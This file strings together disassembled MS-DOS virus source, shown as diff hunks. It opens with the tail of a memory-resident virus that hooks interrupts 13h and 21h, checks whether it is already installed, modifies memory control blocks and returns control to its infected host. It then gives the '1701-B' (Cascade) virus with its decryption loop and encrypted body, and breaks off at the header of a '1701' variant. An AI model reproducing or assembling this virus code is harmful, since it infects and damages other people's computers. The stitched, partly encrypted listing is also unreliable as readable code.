;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_6 proc near
push ax
push ds
push es
xor ax,ax ; Zero register
push ax
pop ds
cli ; Disable interrupts
les ax,dword ptr ds:data_5e ; (0000:0090=18Eh) Load 32 bit ptr
mov cs:data_27,ax ; (701E:0133=0)
mov cs:data_28,es ; (701E:0135=0)
mov ax,44Eh
mov ds:data_5e,ax ; (0000:0090=18Eh)
mov ds:data_6e,cs ; (0000:0092=1498h)
les ax,dword ptr ds:data_1e ; (0000:004C=831h) Load 32 bit ptr
mov cs:data_30,ax ; (701E:013B=0)
mov cs:data_31,es ; (701E:013D=0)
les ax,cs:data_29 ; (701E:0137=0) Load 32 bit ptr
mov ds:data_1e,ax ; (0000:004C=831h)
mov ds:data_2e,es ; (0000:004E=70h)
sti ; Enable interrupts
pop es
pop ds
pop ax
ret
sub_6 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_7 proc near
push ax
push ds
push es
xor ax,ax ; Zero register
push ax
pop ds
cli ; Disable interrupts
les ax,dword ptr cs:data_27 ; (701E:0133=0) Load 32 bit ptr
mov ds:data_5e,ax ; (0000:0090=18Eh)
mov ds:data_6e,es ; (0000:0092=1498h)
les ax,dword ptr cs:data_30 ; (701E:013B=0) Load 32 bit ptr
mov ds:data_1e,ax ; (0000:004C=831h)
mov ds:data_2e,es ; (0000:004E=70h)
sti ; Enable interrupts
pop es
pop ds
pop ax
ret
sub_7 endp
db 0B0h, 3, 0CFh
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_8 proc near
mov dx,10h
mul dx ; dx:ax = reg * ax
ret
sub_8 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_9 proc near
xor ax,ax ; Zero register
xor bx,bx ; Zero register
xor cx,cx ; Zero register
xor dx,dx ; Zero register
xor si,si ; Zero register
xor di,di ; Zero register
xor bp,bp ; Zero register
ret
sub_9 endp
db 1Eh, 0E8h, 0, 0
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_10 proc near
mov ax,4B4Dh
nop
int 21h ; DOS Services ah=function 4Bh
; run progm @ds:dx, parm @es:bx
jc loc_30 ; Jump if carry Set
jmp loc_40
loc_30:
pop si
push si
nop
mov di,si
xor ax,ax ; Zero register
push ax
pop ds
les ax,dword ptr ds:data_1e ; (0000:004C=831h) Load 32 bit ptr
mov cs:data_39e[si],ax ; (701E:FCCD=0)
mov cs:data_40e[si],es ; (701E:FCCF=0)
les bx,dword ptr ds:data_3e ; (0000:0084=6E3h) Load 32 bit ptr
mov cs:data_37e[di],bx ; (701E:FCC5=0)
mov cs:data_38e[di],es ; (701E:FCC7=0)
mov ax,ds:data_7e ; (0000:0102=0CC00h)
cmp ax,0F000h
jne loc_38 ; Jump if not equal
mov dl,80h
mov ax,ds:data_8e ; (0000:0106=326h)
cmp ax,0F000h
je loc_31 ; Jump if equal
cmp ah,0C8h
jb loc_38 ; Jump if below
cmp ah,0F4h
jae loc_38 ; Jump if above or =
test al,7Fh
jnz loc_38 ; Jump if not zero
mov ds,ax
cmp word ptr ds:data_10e,0AA55h ; (0326:0000=6A7h)
jne loc_38 ; Jump if not equal
mov dl,ds:data_11e ; (0326:0002=70h)
loc_31:
mov ds,ax
xor dh,dh ; Zero register
mov cl,9
shl dx,cl ; Shift w/zeros fill
mov cx,dx
xor si,si ; Zero register
locloop_32:
lodsw ; String [si] to ax
cmp ax,0FA80h
jne loc_33 ; Jump if not equal
lodsw ; String [si] to ax
cmp ax,7380h
je loc_34 ; Jump if equal
jnz loc_35 ; Jump if not zero
loc_33:
cmp ax,0C2F6h
jne loc_36 ; Jump if not equal
lodsw ; String [si] to ax
cmp ax,7580h
jne loc_35 ; Jump if not equal
loc_34:
inc si
lodsw ; String [si] to ax
cmp ax,40CDh
je loc_37 ; Jump if equal
sub si,3
loc_35:
dec si
dec si
loc_36:
dec si
loop locloop_32 ; Loop if cx > 0
jmp short loc_38
loc_37:
sub si,7
mov cs:data_39e[di],si ; (701E:FCCD=0)
mov cs:data_40e[di],ds ; (701E:FCCF=0)
loc_38:
mov ah,62h ; 'b'
int 21h ; DOS Services ah=function 62h
; get progrm seg prefix addr bx
mov es,bx
mov ah,49h ; 'I'
int 21h ; DOS Services ah=function 49h
; release memory block, es=seg
mov bx,0FFFFh
mov ah,48h ; 'H'
int 21h ; DOS Services ah=function 48h
; allocate memory, bx=bytes/16
sub bx,50h
nop
jc loc_40 ; Jump if carry Set
mov cx,es
stc ; Set carry flag
adc cx,bx
mov ah,4Ah ; 'J'
int 21h ; DOS Services ah=function 4Ah
; change mem allocation, bx=siz
mov bx,4Fh
stc ; Set carry flag
sbb es:data_14e,bx ; (06E3:0002=2342h)
push es
mov es,cx
mov ah,4Ah ; 'J'
int 21h ; DOS Services ah=function 4Ah
; change mem allocation, bx=siz
mov ax,es
dec ax
mov ds,ax
mov word ptr ds:data_13e,8 ; (0692:0001=0D217h)
call sub_8
mov bx,ax
mov cx,dx
pop ds
mov ax,ds
call sub_8
add ax,ds:data_15e ; (06E3:0006=2344h)
adc dx,0
sub ax,bx
sbb dx,cx
jc loc_39 ; Jump if carry Set
sub ds:data_15e,ax ; (06E3:0006=2344h)
loc_39:
mov si,di
xor di,di ; Zero register
push cs
pop ds
sub si,36Ah
mov cx,4E2h
inc cx
rep movsb ; Rep while cx>0 Mov [si] to es:[di]
mov ah,62h ; 'b'
int 21h ; DOS Services ah=function 62h
; get progrm seg prefix addr bx
dec bx
mov ds,bx
mov byte ptr ds:data_12e,5Ah ; (0691:0000=0C9h) 'Z'
mov dx,173h
xor ax,ax ; Zero register
push ax
pop ds
mov ax,es
sub ax,10h
mov es,ax
cli ; Disable interrupts
mov ds:data_3e,dx ; (0000:0084=6E3h)
mov ds:data_4e,es ; (0000:0086=161Ah)
sti ; Enable interrupts
dec byte ptr ds:data_9e ; (0000:047B=0)
loc_40:
pop si
cmp word ptr cs:data_32e[si],5A4Dh ; (701E:FC99=0)
jne loc_41 ; Jump if not equal
pop ds
mov ax,cs:data_36e[si] ; (701E:FCBB=0)
mov bx,cs:data_35e[si] ; (701E:FCB9=0)
push cs
pop cx
sub cx,ax
add cx,bx
push cx
push word ptr cs:data_34e[si] ; (701E:FCB7=0)
push ds
pop es
call sub_9
ret ; Return far
loc_41:
pop ax
mov ax,cs:data_32e[si] ; (701E:FC99=0)
mov cs:data_16,ax ; (701E:0100=63E9h)
mov ax,cs:data_33e[si] ; (701E:FC9B=0)
mov cs:data_17,ax ; (701E:0102=0C303h)
mov ax,100h
push ax
push cs
pop ds
push ds
pop es
call sub_9
ret
sub_10 endp
code_seg_a ends
end start
@@ -0,0 +1,424 @@
PAGE 59,132
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
;ÛÛ ÛÛ
;ÛÛ 1701-B ÛÛ
;ÛÛ ÛÛ
;ÛÛ Created: 11-Feb-92 ÛÛ
;ÛÛ Passes: 5 Analysis Options on: none ÛÛ
;ÛÛ ÛÛ
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
data_31e equ 27D1h ;*
data_36e equ 4CD6h ;*
data_39e equ 6950h ;*
data_45e equ 8848h ;*
data_50e equ 0BDF1h ;*
data_53e equ 0CBC7h ;*
data_56e equ 0EA36h ;*
data_59e equ 49F2h
data_60e equ 0B0E0h
data_61e equ 0BCF1h
data_62e equ 0EAEFh
seg_a segment byte public
assume cs:seg_a, ds:seg_a
org 100h
1701-b proc far
start:
jmp loc_3
db 39 dup (0)
data_22 db 0 ; Data table (indexed access)
db 30 dup (0)
db 28 dup (0)
loc_3:
cli ; Disable interrupts
mov bp,sp
call sub_1
1701-b endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_1 proc near
pop bx
sub bx,131h
test cs:data_22[bx],1
jz $+11h ; Jump if zero
lea si,[bx+14Dh] ; Load effective addr
mov sp,682h
loc_5:
xor [si],si
xor [si],sp
inc si
dec sp
jnz loc_5 ; Jump if not zero
db 8Eh,0EBh,0E5h,0BDh, 62h,0F6h
db 0F7h, 06h,0EFh,0EEh,0EEh, 2Fh
db 0C2h,0E6h,0E6h,0E2h,0B1h, 11h
db 0EEh, 02h, 6Ch,0F8h, 36h,0EAh
db 0B7h,0DAh,0D0h,0C0h,0C2h,0C6h
db 0E6h,0C2h
locloop_6:
mov si,dx
xchg dh,bh
db 60h,0D4h,0ABh, 69h, 96h,0EEh
db 0EEh,0E2h, 0Bh,0A0h,0EFh,0E2h
db 0E2h,0EEh,0EEh,0F2h,0FAh,0F6h
db 0F6h
loc_8:
db 0F2h,0F2h, 30h, 8Ch,0FEh, 8Bh
db 0FAh, 8Fh, 82h, 82h, 8Fh, 8Eh
db 0B9h, 45h,0F6h,0F6h,0F2h,0F2h
db 0EEh,0EEh,0E2h,0E3h, 1Bh, 16h
db 0C2h
db 0C2h,0CEh
db 0CEh, 1Ah,0F2h,0F6h,0ADh, 73h
db 19h, 6Dh,0CFh,0ECh, 4Eh, 49h
db 92h,0C3h,0ECh, 47h, 49h,0A4h
db 0F3h,0D8h, 7Dh, 75h,0AAh,0EFh
db 4Dh,0E2h,0E3h,0C8h, 6Ch, 65h
db 0B8h,0EFh, 4Ch,0F0h,0F3h,0A5h
db 42h,0C2h, 3Fh, 2Fh, 56h, 3Dh
db 03h, 77h, 14h,0B9h,0FEh, 46h
db 3Eh, 0Eh,0C1h, 00h, 3Bh,0D3h
db 73h, 11h, 44h,0B7h, 97h,0E9h
db 94h,0F4h
db 19h,0F0h,0E9h,0DCh, 79h, 71h
db 0A0h,0F3h,0DCh, 31h, 61h, 90h
db 0C3h, 95h, 7Eh,0E3h,0F7h, 03h
db 0EFh, 79h, 31h,0ADh,0D8h, 7Bh
db 75h, 8Fh,0EFh,0CCh, 6Eh, 61h
db 85h,0E3h, 5Ah,0EEh, 1Eh, 7Ch
db 32h, 49h,0FEh, 12h, 73h,0B3h
db 0CDh,0CDh,0F7h, 9Dh, 07h,0FFh
db 80h,0DEh,0DCh, 87h,0E6h, 77h
db 8Bh,0F6h,0DCh
loc_14:
into ; Int 4 on overflow
db 9Bh,0EFh, 63h, 9Bh,0E0h,0ABh
db 0A0h, 9Bh,0E8h, 71h, 8Fh,0FEh
db 0BBh, 86h, 45h, 76h,0B5h,0C2h
db 4Eh, 0Bh, 8Bh, 4Ch, 07h,0E0h
db 45h,0C4h,0E4h,0F6h,0D0h, 7Bh
db 0C4h,0EFh,0EEh,0C4h, 69h,0F0h
db 0E5h,0E2h,0C4h, 4Dh,0EDh,0F2h
db 0D4h, 30h,0F0h,0F2h,0F2h, 43h
db 25h,0D2h, 48h, 43h, 05h,0EAh
db 47h, 80h,0CBh,0A1h, 46h,0A6h
db 7Dh, 2Fh, 3Fh,0CFh,0B5h,0D1h
db 1Dh,0E0h,0F1h,0B5h, 6Fh, 51h
db 20h,0F5h, 79h, 01h
db 4Fh
db 57h,0F4h, 33h, 3Dh, 66h,0C4h
loc_16:
dec bx
dec cx
mov dl,0C0h
lahf ; Load ah from flags
add ax,7EDCh
jns loc_14 ; Jump if not sign
db 0F3h, 7Fh, 61h,0C4h,0E3h, 11h
db 42h,0C8h, 6Eh,0ECh,0D8h,0EEh
db 0BFh, 7Ch, 33h,0D0h
db 7Bh,0E4h, 8Dh, 8Eh,0A4h, 44h
db 80h
db 86h, 82h,0D8h,0A8h, 02h,0FCh
db 0F3h
loc_19:
div byte ptr [bp+di+377Ch] ; al,ah rem = ax/data
lock jmp $-211h
sub_1 endp
db 6Bh, 51h,0C8h,0E3h, 51h,0EEh
db 0F3h, 4Bh, 53h,0F0h, 0Eh, 01h
db 6Ah,0C8h, 4Fh,0C4h, 42h,0C4h
db 92h
db 9
db 0E0h, 09h,0F4h,0DEh,0F6h,0F6h
db 0F2h,0DCh, 62h,0E0h,0F4h,0E2h
db 0F8h, 6Bh,0F4h,0FEh,0EDh,0E0h
db 0EDh, 4Ah,0D7h,0D3h, 3Fh,0D3h
db 11h,0BBh, 19h,0B9h, 87h, 07h
db 0CEh, 22h,0E7h,0FCh,0F2h, 46h
db 0DCh, 3Bh,0D3h, 73h, 17h, 2Ah
db 0E5h, 95h, 83h, 92h,0C8h, 63h
db 17h, 52h,0F5h, 87h,0ABh,0E8h
db 4Ah,0DAh,0FBh, 03h,0E3h,0ECh
db 4Fh,0D8h,0F9h,0C3h,0E0h
db 42h
db 0F4h,0CFh,0F7h, 4Eh,0DAh,0D7h
db 54h,0CCh,0E5h,0ECh,0F9h, 2Bh
db 0C3h,0FDh,0C0h, 6Eh,0FCh,0A5h
db 0F7h,0FEh, 19h,0F4h, 1Eh, 0Eh
loc_22:
jl loc_19 ; Jump if <
hlt ; Halt processor
mov dl,6Ah ; 'j'
dec word ptr ds:data_56e[si]
out 1Eh,ax ; port 1Eh ??I/O Non-standard
jc loc_22 ; Jump if carry Set
mov dl,0C0h
dec bp
mov sp,0C8E3h
inc bp
and bl,0C0h
sub sp,si
xchg ax,si
div di ; ax,dx rem=dx:ax/reg
db 0F2h, 4Ah,0D2h,0FBh, 0Fh,0E3h
db 0E8h, 4Fh,0DCh,0F1h,0CFh,0E0h
db 7Eh,0F4h
db 0C3h,0F7h,0ECh, 4Ah,0F2h,0CBh
db 58h, 5Fh,0E0h,0E8h,0FDh, 2Fh
db 0CFh,0F1h, 49h, 24h, 09h, 1Fh
db 65h, 0Ch, 8Eh,0F2h, 49h, 76h
db 16h, 28h,0FDh, 2Ch, 39h, 0Fh
db 4Dh, 58h,0A3h,0D8h, 36h,0F4h
db 0D9h,0EFh, 6Eh, 28h, 29h,0DAh
db 1Dh, 96h, 1Fh,0D2h,0F2h, 87h
db 1Eh, 6Ah,0A2h,0A1h, 9Fh, 9Ch
db 94h, 95h, 93h,0C0h,0DCh,0ECh
db 47h,0D8h,0B5h,0F3h,0D8h, 7Ah
db 0ECh,0BBh,0EFh,0E0h,0E5h, 5Ah
db 0E6h,0DBh, 2Fh,0C3h, 9Ch,0B8h
db 79h, 2Ah, 4Eh,0F6h,0A5h, 3Fh
db 0AFh,0A0h, 0Bh, 94h,0C5h, 87h
db 0ACh, 0Bh, 80h,0CBh,0F3h, 46h
db 0C9h,0F8h,0EDh, 48h,0C0h,0EFh
db 5Bh,0E1h,0E6h, 2Bh,0C3h, 90h
db 0D9h,0D5h, 33h, 87h,0C5h, 4Eh
db 0F0h,0B0h,0FDh, 07h,0F1h, 10h
db 0Bh,0E7h,0ECh, 61h, 85h
db 0CFh,0DCh, 7Bh,0E0h,0BBh,0F3h
db 46h,0D0h, 23h,0C3h,0CCh, 67h
db 0D8h,0CCh,0E3h,0A3h,0B4h, 87h
db 0F1h, 1Fh, 31h,0F2h,0DCh, 8Dh
db 37h, 48h, 04h, 01h, 76h, 0Ch
db 2Bh, 88h, 37h,0BEh,0F3h,0CDh
db 0Fh, 84h,0F1h, 07h, 5Dh,0E2h
db 0CCh, 66h,0D8h,0CCh,0E3h, 07h
db 9Bh,0FCh,0DCh
db 57h
loc_27:
mov bp,0F7F3h
xchg ax,di
aaa ; Ascii adjust
in al,dx ; port 0FEC0h ??I/O Non-standard
stc ; Set carry flag
db 0C0h,0E9h
db 0C3h,0B6h, 29h, 76h,0F2h,0B1h
db 0D8h, 33h,0E4h,0B5h,0EFh, 23h
db 0C3h, 90h, 3Dh,0C8h, 6Bh,0ECh
db 0AFh,0EFh, 72h, 03h,0D6h, 00h
db 33h,0D5h,0FAh, 87h, 3Ah, 83h
db 0C5h,0B5h, 4Bh, 4Fh,0AFh
db 0FCh, 37h, 4Ah,0F4h
db 0CBh, 3Fh,0D3h, 9Ch, 50h, 69h
db 3Ah, 5Eh,0E4h,0A0h,0D1h, 27h
db 0DDh, 20h, 3Fh,0D7h, 1Eh,0A2h
db 0F1h,0BDh,0D6h, 7Ah,0C2h, 84h
db 0E8h, 49h,0CCh, 83h,0CFh,0DCh
db 79h,0E0h,0BDh,0F3h, 3Fh,0CFh
db 5Ah,0A2h,0D1h, 2Fh, 2Bh,0C3h
db 09h,0CFh, 7Eh
db 4Ah,0F2h,0B4h,0C5h, 3Bh,0C1h
db 0DCh,0C3h, 23h, 70h, 13h, 28h
db 0A3h, 49h, 0Fh, 0Bh, 0Ch, 0Dh
db 0D8h, 55h,0A2h,0F3h, 5Ah,0AEh
db 58h,0ADh,0E7h, 5Fh,0E1h,0E2h
db 23h,0CFh, 4Ah,0F3h,0A1h,0D8h
db 79h,0E4h, 8Dh,0CFh,0ECh, 49h
db 0C8h, 83h,0C3h, 0Fh,0EFh, 7Ah
db 0CCh, 3Fh,0D7h,0D8h, 79h,0FCh
db 0AFh,0EFh, 14h, 23h,0E1h, 93h
db 0E7h, 14h, 2Fh,0CEh, 87h,0F8h
db 4Eh,0F7h,0B1h,0DCh, 4Bh, 98h
db 0C5h, 83h, 4Bh,0A7h, 9Dh, 85h
db 0D3h,0D1h,0ACh,0A8h,0AFh,0ADh
db 0AAh, 6Fh, 07h, 5Ch, 1Ch,0FCh
db 0E8h
loc_33:
stc ; Set carry flag
mov cl,0B3h
mov sp,4BBEh
cmc ; Complement carry
db 0F6h, 4Dh, 86h,0F3h, 31h,0F9h
db 49h, 85h, 38h,0D7h,0C5h, 89h
db 85h
db 2Ch, 05h,0AAh,0E7h,0F1h, 79h
db 0E5h,0B6h,0E5h, 22h, 96h,0E4h
db 11h, 00h, 69h, 2Ch,0B4h,0ABh
db 0A9h,0E9h, 35h,0ECh,0F4h, 58h
db 58h, 52h, 0Dh, 00h,0BEh, 43h
db 03h, 81h,0D6h, 4Ch, 94h,0F7h
db 48h, 9Eh,0F2h, 57h,0E6h,0E2h
db 1Eh, 15h, 43h,0BBh,0BDh,0B0h
db 0E9h,0EDh, 31h,0A0h,0E8h,0A0h
db 78h, 08h, 38h,0E4h, 90h,0C7h
db 70h,0C2h,0C1h
db 0Ch
db 1Fh, 12h,0F1h,0F0h,0ACh,0F3h
db 79h, 1Eh, 18h,0E4h,0B6h,0E7h
db 19h, 6Ch,0FCh,0B6h,0EFh, 86h
db 0E0h, 4Ch, 2Ch,0F1h, 08h, 62h
db 26h, 8Ah,0F7h, 8Fh, 2Eh, 83h
db 0F7h, 79h, 62h, 5Ah,0F3h, 82h
db 0Dh, 5Fh
db 09h,0B4h,0F1h,0BCh, 21h,0B1h
db 0E0h,0B0h,0B1h, 65h, 36h, 78h
db 34h, 00h,0D0h,0A0h,0F3h, 78h
db 0CEh,0C1h, 00h, 17h, 26h,0C1h
db 0C4h, 94h,0CFh, 79h, 0Ah, 00h
db 0F0h,0A6h,0F3h, 11h, 60h,0E4h
db 0BAh,0E7h, 92h,0F0h, 58h, 34h
db 0EDh, 08h, 1Eh, 5Eh,0FEh, 87h
db 0FBh,0A6h, 0Fh, 77h,0F5h,0EAh
db 0AEh, 03h, 76h,0F5h, 85h, 31h
db 58h, 0Dh,0ADh,0A8h,0F5h,0B1h
db 2Dh,0B3h,0B3h, 6Dh,0E8h,0BEh
db 0E3h, 0Ch, 10h,0ABh, 10h, 00h
db 0AFh, 31h,0A2h, 2Ah,0AFh,0F6h
db 0C0h,0E2h, 38h, 24h,0A3h, 96h
db 0Dh,0CEh,0F2h, 82h,0FCh,0CEh
db 0D2h, 9Ah,0E8h,0DEh, 1Dh, 92h
db 0E4h, 1Ah, 21h, 17h, 2Dh,0CEh
db 42h, 84h,0F0h,0CEh, 2Dh,0F9h
db 8Ch, 7Bh, 41h, 7Eh, 45h, 9Ch
db 3Ah,0CEh, 8Eh, 7Ch, 2Ah, 0Dh
db 57h, 9Eh,0F2h,0D5h,0E8h, 8Eh
db 0E2h, 92h, 1Ch,0D1h
loc_37:
sub cx,[bx-7Eh]
db 0F2h,0B3h, 82h,0E3h,0C9h,0F4h
db 0A2h,0CEh,0B6h, 35h,0D9h, 4Dh
db 03h,0F1h, 1Ch, 77h,0FDh,0F2h
db 01h, 07h,0DCh, 51h,0B2h,0EFh
db 21h,0ABh
db 0Dh, 08h
db 24h,0E4h
db 0BDh,0EFh,0EAh,0ECh, 4Eh,0B6h
db 0F2h, 7Ch,0D6h,0ACh, 4Fh, 01h
db 1Ah,0A6h, 5Bh, 00h,0BFh,0F2h
db 49h,0C2h,0E7h, 41h,0F2h,0F4h
db 0BBh, 23h,0F2h,0BFh,0E1h, 66h
db 18h, 1Dh, 9Ah,0EAh, 7Ah,0E4h
db 0A5h,0F7h, 46h,0FDh, 03h,0DEh
db 4Ah,0E4h, 94h,0C7h, 04h,0C4h
db 9Ah,0CFh,0F2h, 35h,0F0h,0AEh
db 0F3h,0F2h, 5Eh,0D2h,0E5h, 96h
db 0D0h, 94h
db 0E1h, 0Bh, 0Eh,0EEh, 35h,0F4h
db 0AEh,0F7h,0F2h, 4Ah,0B2h, 8Dh
db 0F5h
locloop_40:
movsw ; Mov [si] to es:[di]
;* mov dx,offset loc_46 ;*
db 0BAh, 84h,0F0h
mov ax,ds:data_45e
cmpsb ; Cmp [si] to es:[di]
db 0F3h,0F7h, 56h,0A1h,0F3h, 10h
db 2Eh, 14h,0C4h,0B4h,0E7h, 41h
db 80h,0EFh, 4Fh, 96h,0F3h,0CDh
db 0F0h, 90h,0F3h,0B8h,0CDh, 63h
db 0A0h,0C7h, 2Eh,0A9h, 3Ch, 8Eh
db 45h, 02h,0C1h, 09h,0B1h, 53h
db 90h,0EFh, 3Fh, 02h,0D9h, 1Eh
db 90h,0E1h, 0Bh, 4Eh,0EEh, 72h
db 0FCh,0A1h,0F7h,0F0h, 52h, 5Ch
db 0Fh,0B6h, 02h,0EEh, 4Ah,0FCh
db 88h,0DEh,0AEh,0A1h,0F3h, 42h
db 0F6h, 1Ah,0B0h, 10h, 64h, 12h
db 0Ah, 60h, 18h, 0Ah,0F3h, 11h
db 9Ch, 20h, 1Ah,0EAh, 09h, 80h
db 3Fh, 6Ch, 9Bh,0C3h, 4Ah,0E0h
db 90h,0C3h, 48h,0C0h, 9Dh,0F3h
db 47h,0F6h, 08h, 34h,0C8h,0D8h
db 0BDh,0E3h, 95h,0B4h, 0Eh, 86h
db 1Ch,0D4h,0C8h,0A4h,0F3h, 83h
db 0BFh, 1Ah, 1Bh, 70h,0FCh,0AAh
db 6Ah, 72h, 78h,0F0h,0BDh, 70h
db 48h,0C8h,0C4h,0A5h,0F7h, 85h
db 0C5h, 06h,0A7h, 1Ch,0D8h,0C0h
db 0B0h,0E3h, 97h,0C0h, 06h, 3Ch
db 0Ch, 85h, 13h, 1Ah, 4Ch, 30h
db 30h, 0Ch, 2Ah,0F0h, 38h, 60h
db 97h,0CFh, 30h, 34h, 72h,0D0h
db 0A1h,0F3h, 0Fh, 10h, 20h, 52h
db 0C2h, 0Eh,0BBh, 1Ch, 1Ch, 28h
db 4Eh,0A7h,0F3h, 1Eh,0A3h, 0Ch
db 11h, 0Ah,0E7h, 8Dh,0FDh, 4Eh
db 0ECh,0A5h,0F5h, 09h, 58h,0F2h
db 0F0h, 82h,0F5h, 1Bh,0AEh, 11h
db 06h, 69h, 1Ch,0A8h, 92h,0E1h
db 0Bh,0BFh, 11h, 16h, 93h,0D2h
db 0Ah, 14h, 93h, 0Dh,0E0h, 34h
db 0C4h, 91h,0C7h,0CBh,0B7h, 96h
db 0E0h, 72h,0FCh,0A1h,0F7h,0F3h
db 0DCh, 11h,0E0h,0BCh,0E3h, 93h
db 0A3h,0FCh
locloop_41:
in al,0E0h ; port 0E0h, Memory encode reg2
db 0F1h,0FCh,0F5h,0A6h,0A5h,0A3h
db 0A0h,0D8h,0D9h,0D7h, 32h,0A6h
db 60h,0A2h, 23h,0EEh, 8Fh,0CFh
db 0CAh,0F2h, 85h,0F1h, 4Ah,0D6h
db 0EAh, 0Ah, 9Ch, 1Bh,0A6h, 41h
db 0BCh,0EFh, 4Dh, 92h,0F3h, 1Eh
db 61h, 0Ch, 4Ah,0CDh,0CEh, 2Ah
db 0ACh, 3Bh, 86h, 35h,0E4h,0AAh
db 0CFh, 81h,0F1h, 4Eh, 09h, 0Dh
db 51h, 8Ah,0EFh,0BFh,0BDh,0B8h
db 0BCh,0BBh,0B9h,0B6h,0E9h,0EDh
db 0DCh, 76h,0D0h,0A5h,0F3h,0F0h
db 20h,0FDh, 2Ch, 35h, 07h, 2Ch
db 0F4h, 08h, 59h,0F3h,0FAh, 82h
db 0EBh,0A2h,0A3h,0BCh, 5Ah,0C8h
db 2Fh,0C7h, 67h, 1Bh, 26h,0E9h
db 9Ch,0FFh, 85h,0F3h
locloop_42:
jbe loc_45 ; Jump if below or =
clc ; Clear carry flag
mov sp,0ECC8h
inc dx
loopnz locloop_41 ; Loop if zf=0, cx>0
retn
db 35h, 94h
db 97h
db 0AAh
loc_45:
esc 4,[bx+di] ; coprocessor escape
esc 0,cl ; coprocessor escape
db 0F3h,0E8h,0BDh, 56h,0AAh, 5Dh
db 8Dh,0E2h, 2Fh,0CFh,0B5h, 81h
db 0F1h, 0Fh,0F1h, 31h,0DCh, 48h
db 88h, 82h, 83h, 87h, 08h, 42h
db 8Ch, 91h,0BDh, 0Dh, 4Ch,0F6h
db 0F7h, 4Bh, 57h,0E8h, 12h, 11h
db 46h, 59h,0C5h,0E2h, 5Ch,0CDh
db 0EFh,0F1h,0C4h,0BDh,0F7h, 4Bh
db 70h,0C8h,0E8h,0F3h,0F7h,0E0h
db 0F7h,0CFh, 85h, 88h, 2Ch, 04h
db 7Ch, 2Eh, 42h,0B2h,0C1h, 3Ch
db 57h, 47h,0E4h, 2Bh,0C7h, 7Eh
db 0B2h, 5Ah,0A7h, 3Fh,0D3h,0AEh
db 6Bh,0FCh,0EDh, 7Ch,0BBh, 36h
db 0CCh, 7Ch,0BFh, 0Ah,0F5h,0C2h
seg_a ends
end start
@@ -0,0 +1,427 @@
PAGE 59,132
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
;ÛÛ ÛÛ
;ÛÛ 1701 ÛÛ
;ÛÛ ÛÛ
;ÛÛ Created: 11-Feb-92 ÛÛ
;ÛÛ Passes: 5 Analysis Options on: none ÛÛ
;ÛÛ ÛÛ
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
data_31e equ 27D1h ;*
data_36e equ 4CD6h ;*
data_39e equ 6950h ;*
data_45e equ 8848h ;*
data_50e equ 0BDF1h ;*
data_53e equ 0CBC7h ;*
data_55e equ 0EA36h ;*
